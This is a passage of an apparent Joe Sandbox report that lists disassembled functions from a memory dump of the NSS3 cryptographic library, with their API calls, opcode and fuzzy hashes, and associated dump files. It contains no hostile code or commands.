SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CCA9500,6CB83F91), ref: 6CB8AFD2

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

DER_GetInteger_Util.NSS3(?), ref: 6CB8B007

Part of subcall function 6CBD6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CB81666,?,6CB8B00C,?), ref: 6CBD6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB8B02F
PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB8B046
PL_FreeArenaPool.NSS3 ref: 6CB8B058
PL_FinishArenaPool.NSS3 ref: 6CB8B060

Strings

security, xrefs: 6CB8AFB8

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: e4747af2316ef3fc4318a038703f3af1f0606633c7eea8074be5a494592e7f30
Instruction ID: df41069601484d64085840e9fe8297bfeb8b9841cb68223207fdb923dedee637
Opcode Fuzzy Hash: e4747af2316ef3fc4318a038703f3af1f0606633c7eea8074be5a494592e7f30
Instruction Fuzzy Hash: 2A3154714053809BDB208F24CC40BAA77B8EF8A36CF100619E9B49BBC1E7329109CB97

Function 6CB83E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CB840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB83F7F,?,00000055,?,?,6CB81666,?,?), ref: 6CB840D9
Part of subcall function 6CB840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB81666,?,?), ref: 6CB840FC
Part of subcall function 6CB840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB81666,?,?), ref: 6CB84138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB83EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB83ED6

Part of subcall function 6CBDB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCB18D0,?), ref: 6CBDB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB83EEE

Part of subcall function 6CBDFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBD8D2D,?,00000000,?), ref: 6CBDFB85
Part of subcall function 6CBDFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBDFBB1

PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB83F02
PL_FreeArenaPool.NSS3 ref: 6CB83F14
PL_FinishArenaPool.NSS3 ref: 6CB83F1C

Part of subcall function 6CBE64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CBE127C,00000000,00000000,00000000), ref: 6CBE650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB83F27

Strings

security, xrefs: 6CB83EBC

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 67208189080a2442da745201122564515826e6cf5e74c0558864f45d30cc7324
Instruction ID: 7e6dbc2f03e3e1e1df85e3500a5204ad989c646dd0d391113570c10f9af9dd0e
Opcode Fuzzy Hash: 67208189080a2442da745201122564515826e6cf5e74c0558864f45d30cc7324
Instruction Fuzzy Hash: BF21F5B29043446BD7148B14AC41FAF77B8EB4975CF04093DF949A7B41F731A5188796

Function 6CBCCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CBCCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CBCCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CBCD079

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 3d5241af37d42ecb7ea89561ee5910793c711431797194ba0bcef6eaffe60434
Instruction ID: ff92029f41c81ec0f83f42be3364b89dc5e1e2fc2c3e2d581fd7946816a47732
Opcode Fuzzy Hash: 3d5241af37d42ecb7ea89561ee5910793c711431797194ba0bcef6eaffe60434
Instruction Fuzzy Hash: 86C1A0B5A002599BDB10CF28DC80BDAB7B8FF48318F1441A8E94897741E775EE95CF92

Function 6CBBDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CBC97C1,?,00000000,00000000,?,?,?,00000000,?,6CBA7F4A,00000000), ref: 6CBBDC68

Part of subcall function 6CBE0BE0: malloc.MOZGLUE(6CBD8D2D,?,00000000,?), ref: 6CBE0BF8
Part of subcall function 6CBE0BE0: TlsGetValue.KERNEL32(6CBD8D2D,?,00000000,?), ref: 6CBE0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CBA7F4A,00000000,?,00000000,00000000), ref: 6CBBDFAA

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 3a58f5f8161ce5cec0fa5dca7d75c6ce460dae938b222a31cb988d6609beae0e
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: AB81A170A065848BFF144E79F8A03797292EB64748F24843AF559EAADDDF7CD484C603

Function 6CB93C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CB93C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CB93C94

Part of subcall function 6CB895B0: TlsGetValue.KERNEL32(00000000,?,6CBA00D2,00000000), ref: 6CB895D2
Part of subcall function 6CB895B0: EnterCriticalSection.KERNEL32(?,?,?,6CBA00D2,00000000), ref: 6CB895E7
Part of subcall function 6CB895B0: PR_Unlock.NSS3(?,?,?,?,6CBA00D2,00000000), ref: 6CB89605

PORT_NewArena_Util.NSS3(00000800), ref: 6CB93CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CB93CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CB93CE1

Part of subcall function 6CB93090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBAAE42), ref: 6CB930AA
Part of subcall function 6CB93090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB930C7
Part of subcall function 6CB93090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB930E5
Part of subcall function 6CB93090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB93116
Part of subcall function 6CB93090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB9312B
Part of subcall function 6CB93090: PK11_DestroyObject.NSS3(?,?), ref: 6CB93154
Part of subcall function 6CB93090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9317E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 9ea648a657cd2cff5146271503f83112f27fdf19b57eb2ae9b7eda01cbf86fd6
Instruction ID: 003ea1d852e55dc0a154bd7abf87204dfe957a032c606da04904f1742422af2a
Opcode Fuzzy Hash: 9ea648a657cd2cff5146271503f83112f27fdf19b57eb2ae9b7eda01cbf86fd6
Instruction Fuzzy Hash: 1061C875A00640ABEF115F65DC41FAB76B9EF05748F084038FD4AAAA62F731D914C7B2

Function 6CBD3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD3440: PK11_GetAllTokens.NSS3 ref: 6CBD3481
Part of subcall function 6CBD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBD34A3
Part of subcall function 6CBD3440: TlsGetValue.KERNEL32 ref: 6CBD352E
Part of subcall function 6CBD3440: EnterCriticalSection.KERNEL32(?), ref: 6CBD3542
Part of subcall function 6CBD3440: PR_Unlock.NSS3(?), ref: 6CBD355B

TlsGetValue.KERNEL32 ref: 6CBD3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CBD3D9F
PR_Unlock.NSS3(?), ref: 6CBD3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CBD3E4F

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

TlsGetValue.KERNEL32 ref: 6CBD3E97
EnterCriticalSection.KERNEL32(?), ref: 6CBD3EAB
PR_Unlock.NSS3(?), ref: 6CBD3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CBD3EEE

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 4c21ced314943c22babd06d57da5cbed5930779881bcd665505abc39f5638a2c
Instruction ID: a3872f916a3c2ab34d14db8ef441aa2ac673e0bb964210b72b4c396592fcb9b3
Opcode Fuzzy Hash: 4c21ced314943c22babd06d57da5cbed5930779881bcd665505abc39f5638a2c
Instruction Fuzzy Hash: E05157B1A006429FEB019F29DC44B6A73B4EF49319F060528DE0997A53FB31F844CBE2

Function 6CB82C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(531CE5CE), ref: 6CB82C5D

Part of subcall function 6CBE0D30: calloc.MOZGLUE ref: 6CBE0D50
Part of subcall function 6CBE0D30: TlsGetValue.KERNEL32 ref: 6CBE0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB82C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB82CE0

Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB82CDA,?,00000000), ref: 6CB82E1E
Part of subcall function 6CB82E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB82E33
Part of subcall function 6CB82E00: TlsGetValue.KERNEL32 ref: 6CB82E4E
Part of subcall function 6CB82E00: EnterCriticalSection.KERNEL32(?), ref: 6CB82E5E
Part of subcall function 6CB82E00: PL_HashTableLookup.NSS3(?), ref: 6CB82E71
Part of subcall function 6CB82E00: PL_HashTableRemove.NSS3(?), ref: 6CB82E84
Part of subcall function 6CB82E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB82E96
Part of subcall function 6CB82E00: PR_Unlock.NSS3 ref: 6CB82EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB82D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB82D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB82D3F
free.MOZGLUE(00000000), ref: 6CB82D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB82DB8
free.MOZGLUE ref: 6CB82DC8

Part of subcall function 6CB83E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB83EC2
Part of subcall function 6CB83E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB83ED6
Part of subcall function 6CB83E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB83EEE
Part of subcall function 6CB83E60: PR_CallOnce.NSS3(6CCE2AA4,6CBE12D0), ref: 6CB83F02
Part of subcall function 6CB83E60: PL_FreeArenaPool.NSS3 ref: 6CB83F14
Part of subcall function 6CB83E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB83F27

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: c0349248f2c2f7ad250eff683c6a2e52814300faad4f1dcb641cbd47b071b0c5
Instruction ID: a0fc07fccb74ca313ef62c7853bad7a48313af90bf81c0117229cffc0a7092a7
Opcode Fuzzy Hash: c0349248f2c2f7ad250eff683c6a2e52814300faad4f1dcb641cbd47b071b0c5
Instruction Fuzzy Hash: 2251DE71A063629BEB009E29DC89B6F7BE5EF84348F14042CEC5993750EB31E815CB93

Function 6CBA8F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA8FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CBA905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CBA9073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA90EC

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB9DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CBA9111

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: fa43e4348ba3efee8d81cba6638ab62e4d288cc9b4a2e208670988bb572d7164
Instruction ID: 2ebe5473e5852a26dd9c549233627bb06a988e3550af739f07dcaa557fa34471
Opcode Fuzzy Hash: fa43e4348ba3efee8d81cba6638ab62e4d288cc9b4a2e208670988bb572d7164
Instruction Fuzzy Hash: D5518E74A086858FDF40EF79C488259BBF4EF4A314F054569DC84DB705EB36E886CB92

Function 6CB87CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB840D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CB83F7F,?,00000055,?,?,6CB81666,?,?), ref: 6CB840D9
Part of subcall function 6CB840D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CB81666,?,?), ref: 6CB840FC
Part of subcall function 6CB840D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CB81666,?,?), ref: 6CB84138

PR_GetCurrentThread.NSS3 ref: 6CB87CFD

Part of subcall function 6CC49BF0: TlsGetValue.KERNEL32(?,?,?,6CC90A75), ref: 6CC49C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CCA9030), ref: 6CB87D1B

Part of subcall function 6CBDFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CB81A3E,00000048,00000054), ref: 6CBDFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CCA9048), ref: 6CB87D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CB87D50
PR_GetCurrentThread.NSS3 ref: 6CB87D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CB87D7D
free.MOZGLUE(?), ref: 6CB87D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CB87DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CB87E19

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 54aa94e4a6d6433668d57b381da658b55df44ba2818ca7f9ec6e7d96c39284ec
Instruction ID: 60689add4a7f860d52b3f1757a520073ebca6b95ccfa10ffa6546af0dedcf30b
Opcode Fuzzy Hash: 54aa94e4a6d6433668d57b381da658b55df44ba2818ca7f9ec6e7d96c39284ec
Instruction Fuzzy Hash: 1A41B3B2A0116A9BDB008E699C41BAF37A8AF5429CF150064FC19A7651E770E915C7E2

Function 6CB97EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F36
free.MOZGLUE(?,?,?,6CB980DD), ref: 6CB97F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CB980DD), ref: 6CB97F5D
DeleteCriticalSection.KERNEL32(?,6CB980DD), ref: 6CB97F94
free.MOZGLUE(?), ref: 6CB97F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CB980DD), ref: 6CB97FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CB980DD), ref: 6CB97FE6
free.MOZGLUE(?,6CB980DD), ref: 6CB9802D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 32cce30ad6f25a1f3fb6d2151ba2d2e3b1c6732c507d70fc334ce62a8c8ab5ab
Instruction ID: 1f6e39d65f4f8b9dea0435be92ccb1ccdd9949e4afbd4aa19a8a3ab4e86ea1f0
Opcode Fuzzy Hash: 32cce30ad6f25a1f3fb6d2151ba2d2e3b1c6732c507d70fc334ce62a8c8ab5ab
Instruction Fuzzy Hash: 5D412971B012D18BDF409FB98898B4E37B9EB4B358F150239E91AD7B40DB70E905CBA1

Function 6CBDFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBDFF00

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CBDFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBDFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CBDFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBDFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBDFF8C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
